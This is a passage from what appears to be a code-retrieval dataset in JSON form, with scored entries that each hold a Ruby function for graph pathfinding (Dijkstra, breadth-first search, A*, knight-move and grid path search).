"text": "def djikstra(world, from_x, from_y, to_x, to_y)\n key = [world.join, from_x, from_y].join(',')\n cached_prev = DJ_GRAPH_MEMO[key]\n\n prev = cached_prev\n\n unless cached_prev\n nodes = map_each_cell(world) {|cell, x, y| cell == '.' ? [x, y] : nil }.\n flatten(1).\n reject(&:nil?)\n\n source = [from_x, from_y]\n dist = Hash[nodes.zip([INFINITY].cycle)]\n queue = nodes.dup\n queue.push(source) unless queue.include?(source)\n dist[source] = 0\n prev = {}\n\n while !queue.empty?\n queue.sort_by! {|node| dist[node]}\n u = queue.shift\n\n neighbors = DIRECTIONS.values.map {|d| [u[0] + d[:x], u[1] + d[:y]] }\n neighbors = neighbors & nodes\n\n neighbors.each do |v|\n alt = dist[u] + 1\n\n if alt < dist[v]\n dist[v] = alt\n prev[v] = u\n end\n end\n end\n\n DJ_GRAPH_MEMO[key] ||= prev\n end\n\n path = []\n target = [to_x, to_y]\n\n return [source] if target == source\n\n # cannot reach target:\n return nil if prev[target].nil?\n\n while target\n path.push(target)\n target = prev[target]\n end\n\n path = path.reverse\n path\nend",
"title": ""
},
{
"docid": "a229388188ee5eb14b5687318fb33c0d",
"score": "0.5775963",
"text": "def bfs_shortest_path(node1, node2)\n distance, route = breadth_first_search(node1)\n step = distance[node2]\n node = node2\n path = [ node2 ]\n while node != node1 and route[node]\n node = route[node]\n path.unshift(node)\n end\n return step, path\n end",
"title": ""
},
{
"docid": "48f0149e00d3571b61567fd9e509ef3a",
"score": "0.5775141",
"text": "def path_to(node)\n return unless has_path_to?(node)\n path = []\n current_node = node\n\n while(current_node != @source_node) do\n path.unshift(current_node)\n current_node = @edge_to[current_node]\n end\n\n path.unshift(@source_node)\n end",
"title": ""
},
{
"docid": "48f0149e00d3571b61567fd9e509ef3a",
"score": "0.5775141",
"text": "def path_to(node)\n return unless has_path_to?(node)\n path = []\n current_node = node\n\n while(current_node != @source_node) do\n path.unshift(current_node)\n current_node = @edge_to[current_node]\n end\n\n path.unshift(@source_node)\n end",
"title": ""
},
{
"docid": "acb41c2e34adfcfcaa8225a25b137de4",
"score": "0.5767533",
"text": "def dijkstra_shortest_path(start, finish)\n visited, unvisited = Array.new, Array.new\n distances = Hash.new\n\n distances[start] = 0\n unvisited << start\n\n # find the distance\n while not unvisited.empty?\n curr_node = unvisited.pop\n visited << curr_node\n get_edges(curr_node).each do |edge| \n if visited.find_index(edge.out_vertex) == nil\n unvisited.unshift(edge.out_vertex) if unvisited.find_index(edge.out_vertex) == nil\n curr_distance, min_distance = distances[curr_node], distances[edge.out_vertex] || 1.0 / 0.0\n if curr_distance + edge.distance < min_distance\n distances[edge.out_vertex] = curr_distance + edge.distance\n end\n end\n end\n end\n\n # figure out the path\n previous = finish\n path = Array.new() \n path << previous\n while distances[previous] != 0\n get_edges(previous).each do |edge|\n if previous != edge.in_vertex && distances[edge.in_vertex] + edge.distance == distances[previous]\n previous = edge.in_vertex\n path << previous\n break\n end\n end\n end\n \n return distances[finish], path.reverse\n end",
"title": ""
},
{
"docid": "96d696dda03e7fe4a7590a1292997eff",
"score": "0.5751072",
"text": "def find_path(x, y, path = [])\n if x.zero? && y.zero?\n @results << path\n return 1\n elsif x < 0 || y < 0\n return 0\n elsif @grid[x][y] == 1\n return 0\n end\n\n new_path = path.dup\n new_path.insert(0, [y, x])\n\n @cache[[x - 1 , y]] ||= find_path(x - 1, y, new_path)\n @cache[[x, y - 1]] ||= find_path(x, y - 1, new_path)\n end",
"title": ""
},
{
"docid": "bcd4d156977bbfd81b9bc825d3db5dfe",
"score": "0.5742131",
"text": "def build_path(start, end_pos)\n node = Node.new(start[0], start[1])\n target = Node.new(end_pos[0], end_pos[1])\n visited_nodes = []\n next_moves = [node]\n until next_moves.empty? do\n node = next_moves.shift\n puts \"Current node: #{node.x}, #{node.y}\"\n if node.x == target.x && node.y == target.y \n return node\n end\n visited_nodes.push(node)\n node.moves = get_moves(node)\n node.moves.reject do |square|\n visited_nodes.include?(square)\n end\n node.moves.each do |move| \n next_moves.push(move)\n end\n end\n return node\nend",
"title": ""
},
{
"docid": "816af5fcf15e4438adc8e0da6bd1841d",
"score": "0.57178336",
"text": "def path_from_src_to_dest(graph, src=0, dest=0)\n\t\t# Update source and destination\n\t\t@source, @destination = src, dest\n\n\t\t# Check if source is undefined, if so return empty path\n\t\tif @source == 0\n\t\t\treturn []\n\t\tend\n\n\t\t# Generate a connections hash based on graph edges\n\t\toutgoing = Hash.new()\n\t\tnodes = graph.nodes.keys\n\t\tresult = Array.new()\n\n\t\tgraph.nodes.keys.each {|key| outgoing[key] = Hash.new() }\n\t\tgraph.edges.values.each do |edge|\n\t\t\t# Is it possible for any two issues to have multiple links\n\t\t\t# between them?\n\t\t\toutgoing[edge.a.id][edge.b.id] = edge\t\t\n\t\tend\n\n\t\t# If an edge already exists in the graph from source to destination\n\t\tif outgoing[@source].has_key?(@destination)\n\t\t\tresult.push(outgoing[@source][@destination].id)\n\t\t\treturn result\n\t\tend\n\t\t\t\n\t\t# Compute all paths from source\n\t\tpaths_tracer, paths_distances, relationships_on_paths = compute_paths_from_source(outgoing, nodes)\n\t\t\n\t\t# Find the shortest path through the graph between source and destination\n\t\tif destination != 0\n\t\t\treturn trace_path_src_to_dest(outgoing, paths_tracer)\n\t\tend\n\n\t\t# This happens only if the destination is 0, as it would have returned otherwise.\n\t\t# Return available relationships, distances, \n\t\treturn important_relationships_from_source(paths_tracer, paths_distances, relationships_on_paths)\n\tend",
"title": ""
},
{
"docid": "8bf7b8a3edcf47dbb639dd4f0c32c730",
"score": "0.57109016",
"text": "def shortest_path_to_all_nodes(initial)\n initial.distance = 0\n\n current = initial\n loop do\n unvisited.delete(current)\n\n calculate_neighbor_shortest_distances(current)\n\n return graph.vertices if no_reachable_nodes\n\n current = unvisited.min_by(&:distance)\n end\n end",
"title": ""
},
{
"docid": "75d4c6f8e3951f48146546f1a3b7f895",
"score": "0.5694974",
"text": "def find_path(start_node, end_node, grid)\n start_node = sanitize(start_node)\n end_node = sanitize(end_node)\n if grid.nil?\n [start_node]\n else\n _max_x = grid.max_x\n _max_y = grid.max_y\n\n @current_grid = grid.inner_grid.clone\n\n raise 'max_x & max_y required' unless _max_x && _max_y\n\n _start_node = start_node.clone\n _end_node = end_node.clone\n\n heuristic = @heuristic.new(_end_node, @weight)\n\n _start_node[:f] = 0 # sum of g and h\n _start_node[:g] = 0 # steps to start node\n _start_node[:h] = nil # steps to end node\n _start_node[:opened] = true\n\n # use heap or tree for better perf\n open = []\n open.push _start_node\n\n while !open.empty? do\n _current_node = open.pop\n\n _current_node[:closed] = true\n @current_grid[node_to_a(_current_node)] = _current_node\n\n if node_to_a(_current_node) == node_to_a(_end_node)\n return final_path(_current_node)\n end\n\n new_g = _current_node[:g] + 1\n\n x = _current_node[:x]\n y = _current_node[:y]\n\n neighbors = []\n\n neighbors << [x-1, y] if x > 0\n neighbors << [x, y-1] if y > 0\n neighbors << [x+1, y] if x < _max_x-1\n neighbors << [x, y+1] if y < _max_y-1\n\n _neighbors = neighbors.map do |position|\n node = @current_grid[position]\n if node.nil? || node[:walkable]\n node ||= {}\n @current_grid[position] = node.merge({\n x: position.first,\n y: position[1],\n closed: false,\n opened: false\n })\n end\n end.compact\n\n _neighbors.each do |neighbor|\n if (!neighbor[:opened] || new_g < neighbor[:g])\n neighbor[:g] = new_g\n neighbor[:h] ||= heuristic.h(neighbor)\n neighbor[:f] = neighbor[:g] + neighbor[:h]\n neighbor[:parent] = node_to_a(_current_node)\n\n if (!neighbor[:opened])\n open.push neighbor\n neighbor[:opened] = true\n else\n # ???\n puts \"got here some how!!!\"\n end\n end\n end\n\n open.sort_by! {|i| [-i[:f], -i[:h]]}\n # grid_p\n end\n end\n end",
"title": ""
},
{
"docid": "9737a859e304d5a71ee76a636879ed48",
"score": "0.5694629",
"text": "def find_path(start, goal)\n raise \"loc1 must not be the same as loc2\" if start == goal\n\n # Using A* path-finding algorithm\n # See pseudocode here: https://en.wikipedia.org/wiki/A*_search_algorithm\n # https://www.redblobgames.com/pathfinding/a-star/introduction.html\n # NOTE that this is overkill for this problem...\n open_set = Set.new([start])\n came_from = {}\n\n # Default value of \"Infinity\", but we can just use nil\n g_score = {}\n g_score[start] = 0\n\n # f_score = g_score[node] + h_score[node]\n # This uses both current best path (g score) aka similar to Djikstra's algorithm,\n # plus the heuristic score.\n f_score = {}\n # g_score[start] is 0, so not included here\n f_score[start] = h_score(start, goal)\n\n # Note that we add d_score as the weight of the edge, but in our\n # case, we consider all edges equally, so hardcode 1\n d_score = 1\n\n until open_set.empty? do\n # Node in open set with lowest f score (would ideally use PriorityQueue)\n current = open_set.min_by { |node| f_score[node] }\n\n if current == goal\n return reconstruct_path(came_from, current)\n end\n\n open_set.delete(current)\n\n valid_neighbours(current).each do |neighbour_loc|\n tentative_g_score = g_score[current] + d_score\n if g_score[neighbour_loc].nil? || tentative_g_score < g_score[neighbour_loc]\n # This path to neighbor is better than any previous one. Record it!\n came_from[neighbour_loc] = current\n g_score[neighbour_loc] = tentative_g_score\n f_score[neighbour_loc] = g_score[neighbour_loc] + h_score(neighbour_loc, goal)\n if !open_set.include?(neighbour_loc)\n open_set << neighbour_loc\n end\n end\n end\n end\n\n raise \"error, no path found!\"\n end",
"title": ""
},
{
"docid": "0d34b6d1e68787d6a2664b284a23ad4f",
"score": "0.5673117",
"text": "def find_shortest_path(exclude_path_with_tile = nil)\n node = find_end_tile(exclude_path_with_tile)\n return [@start_tile, @end_tile] if node.nil?\n expand_path(node)\n end",
"title": ""
},
{
"docid": "04763b6b050483bbf7818956f9e1cdfc",
"score": "0.56640977",
"text": "def return_shortest_path(from)\r\n\r\n queue = Queue.new\r\n queue << from\r\n from.distance = 0\r\n while(!queue.empty?)\r\n v= queue.pop\r\n count=0\r\n adjDir = find_adjacent_rooms(v.roomObject)\r\n while(count < adjDir.length)\r\n w = @vertices[v.roomObject.return_title(adjDir[count])]\r\n\r\n if(w.distance==Float::INFINITY)\r\n w.distance = v.distance + 1\r\n w.path = v.path + \" \" + adjDir[count].to_s()\r\n queue << w\r\n end\r\n count = count + 1\r\n end\r\n count=0\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "933e9b2329a5ecbff684cb762375e35c",
"score": "0.56582326",
"text": "def path(start,predicate)\n array = Array.new\n start.each { |elem|\n array.push(elem)\n if predicate.call(elem)\n return array\n end\n }\n nil\n end",
"title": ""
},
{
"docid": "57e737163568f287267a6ff6dcb97c05",
"score": "0.56264114",
"text": "def path_to(x:, y:)\n x_signal = x / [x.abs, 1].max\n y_signal = y / [y.abs, 1].max\n\n if x.abs > y.abs\n [[1 * x_signal, 0]]\n elsif x.zero? && y.zero?\n [[0, 0]]\n else\n [[0, 1 * y_signal]]\n end\n end",
"title": ""
},
{
"docid": "fbc93f7e7dd1c594a43e524c47d7fb51",
"score": "0.562562",
"text": "def find_shortest_path(initial_node, final_node)\n\t\tunless @nodes.include?(initial_node) && @nodes.include?(final_node)\n\t\t raise(\"Either of the nodes not found in the Graph\") \n\t\tend\n\t\tdistance = {}\n\t previous = {}\n\t\tdistance[initial_node] = 0 # Distance from initial_node to initial_node\n\t previous[initial_node] = nil\n\t\tnodes_counted = @nodes\n\t\t\t\n\t\tnodes_counted.each do |n|\n\t\t if n != initial_node \n\t\t\t distance[n] = Float::INFINITY # Unknown distance function from initial_node to final_node\n\t\t\t previous[n] = nil \t # Previous node in optimal path from initial_node\n\t\t\tend\n\t\tend\n\n\t\tuntil nodes_counted.empty? \n\t\t\n\t\t\tu = distance.select{|k,v| nodes_counted.include?(k)}.min_by{|k,v| v}.first # Source node in first case\n\t\t\tbreak if (distance[u] == Float::INFINITY)\n\t\t\tnodes_counted.delete(u)\n\t\t\t\n\t\t\t@paths[u].keys.each do |v|\n\t\t\t\talt = distance[u] + @paths[u][v]\n\t\t\t\tif alt < distance[v] # A shorter path to v has been found\n\t\t\t\t\tdistance[v] = alt\n\t\t\t\t\tprevious[v] = u\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t \n\t\tpath = []\n\t\tcurrent = final_node\n\t\twhile current\n\t\t\tpath.unshift(current)\n\t\t\tcurrent = previous[current]\n\t\tend\n \n\t\treturn distance[final_node], path\n\n\tend",
"title": ""
},
{
"docid": "109a6f607613a8766952acd872b47df6",
"score": "0.56100714",
"text": "def find_path(source, target, map)\n @main_loop_count = 0\n\n max_y = map.size - 1\n max_x = map[0].size - 1\n target_x = target[0]\n target_y = target[1]\n # target heuristic is 0\n target = [target_x, target_y, 0]\n\n # Sets up the search to begin from the source\n source = source.dup.push((target_x - source[0]).abs + (target_y - source[1]).abs)\n came_from = {}\n came_from[source] = nil\n frontier = [source]\n\n # Until the target is found or there are no more cells to explore from\n until came_from.has_key?(target) || frontier.empty?\n @main_loop_count += 1\n\n # Take the next frontier cell\n new_frontier = frontier.shift\n\n # Find the adjacent neighbors\n adjacent_neighbors = []\n\n # Gets all the valid adjacent_neighbors into the array\n # From southern neighbor, clockwise\n nfx = new_frontier[0]\n nfy = new_frontier[1]\n adjacent_neighbors << [nfx , nfy - 1, (target_x - nfx).abs + (target_y - nfy + 1).abs] unless nfy == 0\n adjacent_neighbors << [nfx - 1, nfy - 1, (target_x - nfx + 1).abs + (target_y - nfy + 1).abs] unless nfx == 0 || nfy == 0\n adjacent_neighbors << [nfx - 1, nfy , (target_x - nfx + 1).abs + (target_y - nfy).abs] unless nfx == 0\n adjacent_neighbors << [nfx - 1, nfy + 1, (target_x - nfx + 1).abs + (target_y - nfy - 1).abs] unless nfx == 0 || nfy == max_y\n adjacent_neighbors << [nfx , nfy + 1, (target_x - nfx).abs + (target_y - nfy - 1).abs] unless nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy + 1, (target_x - nfx - 1).abs + (target_y - nfy - 1).abs] unless nfx == max_x || nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy , (target_x - nfx - 1).abs + (target_y - nfy).abs] unless nfx == max_x\n adjacent_neighbors << [nfx + 1, nfy - 1, (target_x - nfx - 1).abs + (target_y - nfy + 1).abs] unless nfx == max_x || nfy == 0\n\n new_neighbors = adjacent_neighbors.select do |neighbor|\n # That have not been visited and are not walls\n unless came_from.has_key?(neighbor) || map[neighbor[1]][neighbor[0]] != '.'\n # Add them to the frontier and mark them as visited\n # frontier << neighbor\n came_from[neighbor] = new_frontier\n end\n end\n\n # Sort the frontier so cells that are close to the target are then prioritized\n if new_neighbors.length > 0\n new_neighbors = merge_sort(new_neighbors)\n if frontier.length > 0 && new_neighbors[0][2] >= frontier[0][2]\n frontier = merge_sort(new_neighbors.concat(frontier))\n else\n frontier = new_neighbors.concat(frontier)\n end\n end\n end\n\n # If the search found the target\n if came_from.has_key?(target)\n # Calculates the path between the target and star for the greedy search\n # Only called when the greedy search finds the target\n path = []\n next_endpoint = came_from[target]\n while next_endpoint\n path << [next_endpoint[0], next_endpoint[1]]\n next_endpoint = came_from[next_endpoint]\n end\n path\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "09ec756180a0cddac532b8226c695da6",
"score": "0.557256",
"text": "def get_path(start, finish) \n @retreat_algorithm.set_graph(memory.construct_grid) \n @retreat_algorithm.run(start, finish)\n end",
"title": ""
},
{
"docid": "ebd3ad0beabc9e833a193727e33bce74",
"score": "0.5562312",
"text": "def shortest_path( dest, exclusions = [] )\n exclusions ||= []\n previous = shortest_paths( exclusions )\n s = []\n u = dest.hex\n while previous[ u ]\n s.unshift u\n u = previous[ u ]\n end\n s\n end",
"title": ""
},
{
"docid": "782a2719cabd9a1284a8fd0223ba4faa",
"score": "0.5524304",
"text": "def min_path\n if @layers.count == 2\n return [ top ] + [ @layers[1].min ]\n end\n\n left_min_path = left_child.min_path\n left_min_path_sum = left_min_path.inject(0, :+)\n right_min_path = right_child.min_path\n right_min_path_sum = right_min_path.inject(0, :+)\n\n if left_min_path_sum < right_min_path_sum\n [ top ] + left_child.min_path \n else\n [ top ] + right_child.min_path\n end\n end",
"title": ""
},
{
"docid": "8eb57c9fd10a8b6f7143b145bca5ba72",
"score": "0.55198437",
"text": "def shortest_paths(dest)\n position = dest\n final = {}\n analisados = {}\n route = []\n route << dest\n @previous['a'] = -1\n\n @nodes.each do |n|\n analisados[n] = false\n end\n analisados[position] = true\n\n while analisados(analisados)\n adyacentes(position, analisados).each do |n|\n if @distance[n] == (@distance[position] - graph[n][position])\n @previous[position] = n\n position = n\n route << n\n end\n analisados[n] = true\n end\n\n end\n route << 'a'\n route\n end",
"title": ""
},
{
"docid": "08d116798e45242b6054642bc035239d",
"score": "0.55181956",
"text": "def knight_path(from, to)\r\n\topen_queue = [PositionPath.new( from, [copy(from)] )]\r\n\tputs open_queue.inspect\r\n\tputs open_queue.empty?\r\n\tdiscovered = [from]\r\n\r\n\tuntil open_queue.empty?\r\n\t\tcurrent = open_queue.shift\r\n\t\tputs current.inspect\r\n\r\n\t\treturn current.path if current.position == to\r\n\t\tvalid_moves(current.position).each do |move|\r\n\t\t\tputs \"ruch #{move} jest ok\"\r\n\t\t\tunless discovered.include?(move)\r\n\t\t\t\tputs \"tego ruchu jeszce nie bylo = #{move}\"\r\n\t\t\t\tdiscovered << move\r\n\t\t\t\topen_queue.push(make_position_path(current, move)) \r\n\t\t\t\tputs \"open_queue = #{open_queue.size}\"\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\t\r\nend",
"title": ""
},
{
"docid": "c3d99a6460f8682d33e3f4dd8ac4b7ea",
"score": "0.5514483",
"text": "def shortest_walk(arr)\n short_path=[]\n # outer loop continues until we can't eliminate any more directions\n done = false\n while !done do\n done = true\n i=0\n while (i < arr.length) \n if ((arr[i] == \"NORTH\" and arr[i+1] == \"SOUTH\") or (arr[i] == \"SOUTH\" and arr[i+1] == \"NORTH\") or (arr[i] == \"EAST\" and arr[i+1] == \"WEST\") or (arr[i] == \"WEST\" and arr[i+1] == \"EAST\"))\n # if adjacent directions are opposite, skip them both and reset done to false\n # because we may need to make another pass of the resulting array\n i+=2\n done = false\n else\n # Otherwise, store this direction in our shortest path and move to the next direction\n short_path << arr[i]\n i+=1\n end \n end\n # Set our arr in the loop to the shortest path. We'll check it again if we've\n # removed anything from the previous iteration\n arr = short_path\n # Empty the shortest path array for the next round if needed\n short_path = [] \n end\n # now arr stores the shortest path\n return arr\n end",
"title": ""
},
{
"docid": "6f0079634ec557e16081f55782b0f007",
"score": "0.5509303",
"text": "def shortest_paths(source)\n level = 0\n nextlevel = [source]\n seen = { source => level }\n pred = { source => [] }\n until nextlevel.empty?\n level += 1\n thislevel = nextlevel\n nextlevel = []\n thislevel.each do |v|\n neighbors_of(v).each do |w|\n next if (seen.keys.include? w) && (seen[w] != level)\n unless seen.keys.include? w\n pred[w] = []\n seen[w] = level\n nextlevel << w\n end\n pred[w] << v\n end\n end\n end\n [pred, seen]\n end",
"title": ""
},
{
"docid": "a29f09a38cb3b137e915dad5adcf0703",
"score": "0.54951966",
"text": "def paths\n end_verts = ends\n paths = []\n vertices.each do |v|\n end_verts.each do |e|\n x = path?(v.id, e.id)\n if x.is_a?(Array)\n x[1] << v.data\n paths << x[1]\n end\n end\n end\n end_verts.each { |e| paths << e.data }\n paths\n end",
"title": ""
},
{
"docid": "e32b691ccae6f25b316e5b661e4f6442",
"score": "0.54949814",
"text": "def get_routes(params)\n graph_data = create_data(params)\n if graph_data.is_a?(Array)\n graph_data.each do |data|\n add_vertex(data[0][0], data[0][1])\n end\n path_array = shortest_path(params[:source], params[:destination])\n if path_array.is_a?(Array)\n get_path_description(path_array, params)\n else\n path_array\n end\n else\n graph_data\n end\n end",
"title": ""
},
{
"docid": "7a7668c01acbc6ea27ea8a84fd95353a",
"score": "0.5486977",
"text": "def solve(begX, begY, endX, endY)\n return [],[] if(validate_two_end(translate(begX),translate(begY), translate(endX),translate(endY)) == false)\n start = [begX,begY]\n start_tran = [translate(begY),translate(begX)]\n goal = [endX, endY]\n que = Queue.new; visited = Set.new\n que.push([[start],[start_tran],start])\n while(!que.empty?)\n path,tran,cur = que.deq\n return path,tran if(cur == goal)\n next if visited.include?(cur)\n visited.add(cur)\n breadth_first_search(plane,que,cur,tran,path)\n end\n return [],[]\n end",
"title": ""
},
{
"docid": "2fc0905eed015cbbec18365897f31d16",
"score": "0.54832655",
"text": "def path(from, to)\n prev = bfs(from)[0]\n return nil unless prev[to]\n rev_path = []\n current_vertex = to\n while current_vertex\n rev_path << current_vertex\n current_vertex = prev[current_vertex]\n end\n rev_path.reverse\n end",
"title": ""
},
{
"docid": "2cec1af10c60141d60dc55ac4f83a37e",
"score": "0.5476088",
"text": "def path_to(node)\n return unless @visited.include?(node)\n path = []\n while(node != @node) do\n path.unshift(node) \n node = @edge_to[node]\n end\n path.unshift(@node)\n end",
"title": ""
},
{
"docid": "c42dd186a1862d223c6eb1b2f98a1612",
"score": "0.5475692",
"text": "def path(start, goals, mode=:move_to, ignore={})\n start = start.map(&:to_i)\n goals = goals.flatten.size == 3 ? [goals.flatten] : goals\n\n if goals.reject { |goal| (start[0] - goal[0]).abs + (start[1] - goal[1]).abs + (start[2] - goal[2]).abs > MAX_PATH_SIZE }.empty?\n puts \"target too far away\"\n return nil\n elsif mode == :move_to && goals.select { |g| allowed?(*g) }.empty?\n puts \"can't go there...\"\n return nil\n # elsif mode == :next_to && goals.map { |g| available(*g, :next_to).any? { |l| allowed?(*l) } }.empty?\n # puts \"nothing to move next to anymore...\"\n # return nil\n end\n visited = {}\n next_to = {}\n examined = 0\n\n heap = Heap.new { |a, b| a.cost <=> b.cost }\n heap.add Path.new(start, goals, [])\n\n while !heap.empty?\n point = heap.next\n\n if point.path.size > MAX_PATH_SIZE\n puts \"examined #{examined} paths before giving up\"\n return nil\n end\n\n next if visited[point.point]\n visited[point.point] = point\n\n examined += 1\n\n case mode\n when :move_to\n if goals.include?(point.point)\n final_path = point.path + [point.point]\n final_path.shift # don't need the start point, we're already there\n # puts \"examined #{examined} paths\"\n return final_path\n end\n\n when :away_from\n above = point.point.dup\n above[1] += 1\n if !goals.include?(point.point) && !goals.include?(above)\n final_path = point.path + [point.point]\n return final_path\n end\n\n when :next_to\n next_to[point.point] ||= available(*point.point, :build)\n available_for_building = next_to[point.point]\n if available_for_building.any? { |a| goals.include? a }\n final_path = point.path + [point.point]\n final_path.shift # don't need the start point, we're already there\n # puts \"examined #{examined} paths\"\n return final_path\n end\n\n else\n raise \"unknown pathfinding mode: #{mode.inspect}\"\n end\n\n next_available = available(*point.point, :move, ignore).each do |test|\n next if visited[test]\n heap.add Path.new(test, goals, point.path + [point.point])\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "54b44a3d32edf30917fee9cee9557e50",
"score": "0.54742724",
"text": "def path(x, y)\r\n\t\t# If x or y are on the edge, meaning they have only one path, return 1\r\n\t\tif (x == 0 || y == 0)\r\n\t\t\treturn 1\r\n\t\r\n\t\t# If in the middle of the square, check to see if sum of paths for node already calculated?\r\n\t\telse\r\n\t\t\t# If so, return calculated sum of paths for node\r\n\t\t\tif @node[x][y] != 0\r\n\t\t\t\treturn @node[x][y]\r\n\t\t\t\t\r\n\t\t\t# Otherwise, set node[x][y] to sum of paths for connected nodes through recursion\r\n\t\t\t# Return newly calculated node[x][y]\r\n\t\t\telse\r\n\t\t\t\t@node[x][y] = path(x-1, y) + path(x, y-1)\r\n\t\t\t\treturn @node[x][y]\r\n\t\t\tend\r\n\t\tend\t\r\n\tend",
"title": ""
},
{
"docid": "9866690a9c9d69946d8cca5d087e3664",
"score": "0.54711175",
"text": "def decode_path(goal_node)\n path = []\n until goal_node.nil?\n path.unshift goal_node\n goal_node = goal_node.previous\n end\n return path\nend",
"title": ""
},
{
"docid": "9ee775f3e517fdfbde6abff84b2d3fe5",
"score": "0.5462226",
"text": "def find_min_path(i, j)\n return 1 if i == 0 || j == 0\n return find_min_path(i-1, j) + find_min_path(i, j-1)\nend",
"title": ""
},
{
"docid": "6dd3b0dae086982e39b6211d85642885",
"score": "0.54585207",
"text": "def shortest_way(source, dest)\n\t\t@source = source\n dijkstra source\n \n if @distances[dest] != @infinity\n return @distances[dest]\n end\n\tend",
"title": ""
},
{
"docid": "227b1137281b803c3216cc61ec0023a4",
"score": "0.54576796",
"text": "def paths_to(node)\n find_paths do\n find { |n| n == node }\n end\n end",
"title": ""
},
{
"docid": "433cf732bc389766105b44ad4ce5fed6",
"score": "0.54482627",
"text": "def all_paths_source_target(graph, results=[], current_node=0, current_path=[])\n if current_node == graph.length - 1\n return results << (current_path + [current_node])\n end\n\n graph[current_node].each do |node|\n all_paths_source_target(graph, results, node, (current_path + [current_node]))\n end\n\n return results\nend",
"title": ""
},
{
"docid": "57afb0e62c0a471df5317354a4bccc6a",
"score": "0.54414755",
"text": "def find_path(start, finish, *avoid_sectors)\n shortest_path(start, finish, avoid_sectors.flatten)\n end",
"title": ""
},
{
"docid": "8b38bd5ee5266bf33cf5eca3249e9165",
"score": "0.542781",
"text": "def all_paths_source_target(graph)\n current_path = []\n results = []\n\n dfs(graph, results, 0, current_path)\n return results\nend",
"title": ""
},
{
"docid": "647d6970c1037251db73df2e0c7240e7",
"score": "0.5420794",
"text": "def shortest_path(v,w)\n raise ArgumentError unless path?(v,w) \n to_edge = []\n bfs(w) { |v1,v2| to_edge[v2] = v1 }\n result = []\n x = v\n while x != w\n result << x\n x = to_edge[x]\n end\n result << x\n end",
"title": ""
},
{
"docid": "12401f31f7e46c4c4ef6db661ccd13cf",
"score": "0.5418843",
"text": "def solve(from_word, to_word)\n return @word_graph.shortest_path(from_word, to_word)\n end",
"title": ""
},
{
"docid": "2438b970733da903db41b33bdf3ad68e",
"score": "0.5407948",
"text": "def plan(s1, s2)\r\n if s1 == s2\r\n return []\r\n end\r\n\r\n condensed_path = Array.new\r\n full_path = Array.new\r\n temp = BFS.new(graph, find_node(s1)).shortest_path_to(find_node(s2))\r\n\r\n temp.each {|x| full_path.push(x.to_s)}\r\n condensed_path.push(full_path.first)\r\n condensed_path = condensed_path + transfer_stations(full_path)\r\n \r\n if condensed_path.last != full_path.last #need to test this more\r\n condensed_path << full_path.last\r\n end\r\n\r\n return condensed_path\r\n end",
"title": ""
},
{
"docid": "d022f2d08be531464e0bf2f0ac0891b7",
"score": "0.53975415",
"text": "def find_path_brute_force( board, start_point )\n options = get_options( start_point, board )\n\n # Bottom right corner\n if options.length == 0\n return { points: [start_point], best_value: get_value( start_point, board ) }\n end\n\n # If there's only one option, this works fine still.\n first_result = find_path_brute_force( board, options.first )\n second_result = find_path_brute_force( board, options.last )\n if first_result[:best_value] > second_result[:best_value]\n return {\n points: [start_point] + first_result[:points],\n best_value: first_result[:best_value] + get_value( start_point, board )\n }\n else\n return {\n points: [start_point] + second_result[:points],\n best_value: second_result[:best_value] + get_value( start_point, board )\n }\n end\nend",
"title": ""
},
{
"docid": "60c1a82b1cd719631a023c30f815963d",
"score": "0.5396821",
"text": "def get_spaces_to_pass\n return nil unless @start_space\n return nil unless @end_space\n\n dijkstra = Dijkstra.new(SpaceConnection.all)\n path = dijkstra.shortest_path(@start_space.id, @end_space.id)\n path\n end",
"title": ""
},
{
"docid": "41ac2bef9a64d65143e8be9b6274a9e5",
"score": "0.5392535",
"text": "def get_paths(source, target, iterate_only_if=nil, &result_filter)\n iterate_only_if = result_filter if iterate_only_if.nil?\n queue=[[0, source]]\n result=[]\n while queue.any?\n node = queue.shift\n @graph.each_adjacent(node.last) do |edge, weight|\n nnode = node.dup\n nnode[0]= node[0] + weight\n nnode << edge\n nlevel = nnode.length - 2\n if edge == target\n if result_filter.call(nnode[0], nlevel)\n result << nnode\n end\n end\n\n if iterate_only_if.call(nnode[0], nlevel)\n queue << nnode\n end\n end\n end\n result\n end",
"title": ""
},
{
"docid": "c9a1f8efc1b9c8c815e58859ec3e008a",
"score": "0.5387558",
"text": "def solve_dijkstra\n\n unvisited_set = @unvisited_set.dup\n\n # create a queue for nodes to check\n @queue = []\n current_node = @start_node\n @queue << current_node\n\n # Stop If there are no unvisited nodes or the queue is empty\n while unvisited_set.size > 0 && @queue.size > 0 do\n\n # set the current node as visited and remove it from the unvisited set\n current_node = @queue.shift\n\n # remove visited node from the list of unvisited nodes\n unvisited_set.delete(current_node)\n\n # find the current node's neighbours and add them to the queue\n rolling_node = @node_list.find { |hash| hash[:id] == current_node }\n rolling_node[:neighs].each do |p|\n # only add them if they are unvisited and they are not in the queue\n if unvisited_set.index(p) && !@queue.include?(p)\n @queue << p\n # set the previous node as the current for its neighbours\n change_node = @node_list.find { |hash| hash[:id] == p }\n change_node[:prev] = current_node\n # increase the distance of each node visited\n change_node[:dist] = rolling_node[:dist] + @step\n end\n end\n\n if current_node == @goal_node\n find_shortest_path(rolling_node)\n break\n end\n end\n return @shortest_path_coords\n end",
"title": ""
},
{
"docid": "42b3475311d927a6b55cb40bd278615e",
"score": "0.5386658",
"text": "def shortest_circuit()\n shortest_cir = Array.new\n shortest_weight = 99999\n\n vert = vertex_list()\n start_point = vert[0]\n vert.delete_at(0)\n\n vert_perm = vert.permutation.to_a()\n\n vert_perm.each{ |x|\n x.insert(0,start_point)\n x.insert(x.length,start_point)\n weight = path_weight(x)\n \n if weight == nil\n weight = 99999\n end\n\n if weight < shortest_weight\n shortest_weight = path_weight(x)\n shortest_cir = x\n end\n }\n return \"Shortest Circuit = \",shortest_cir.inspect, \"\\nWeight = \", shortest_weight\n\n end",
"title": ""
},
{
"docid": "35acc44097276e18c28ace36873619bf",
"score": "0.53804004",
